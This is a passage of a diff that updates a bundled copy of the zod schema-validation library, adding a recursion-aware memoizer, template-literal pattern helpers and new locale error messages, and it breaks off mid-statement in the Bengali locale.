$constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -58891,10 +59531,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58907,23 +59547,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -58957,33 +59640,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -59022,12 +59705,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -59046,10 +59729,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -59062,20 +59745,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -59089,14 +59772,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -59108,7 +60070,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -59119,22 +60083,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -59146,13 +60117,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59178,12 +60150,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -59253,13 +60229,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59285,12 +60262,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59359,7 +60340,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -59401,6 +60382,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -59434,12 +60423,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -59516,13 +60509,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59548,12 +60542,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -59637,13 +60635,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if 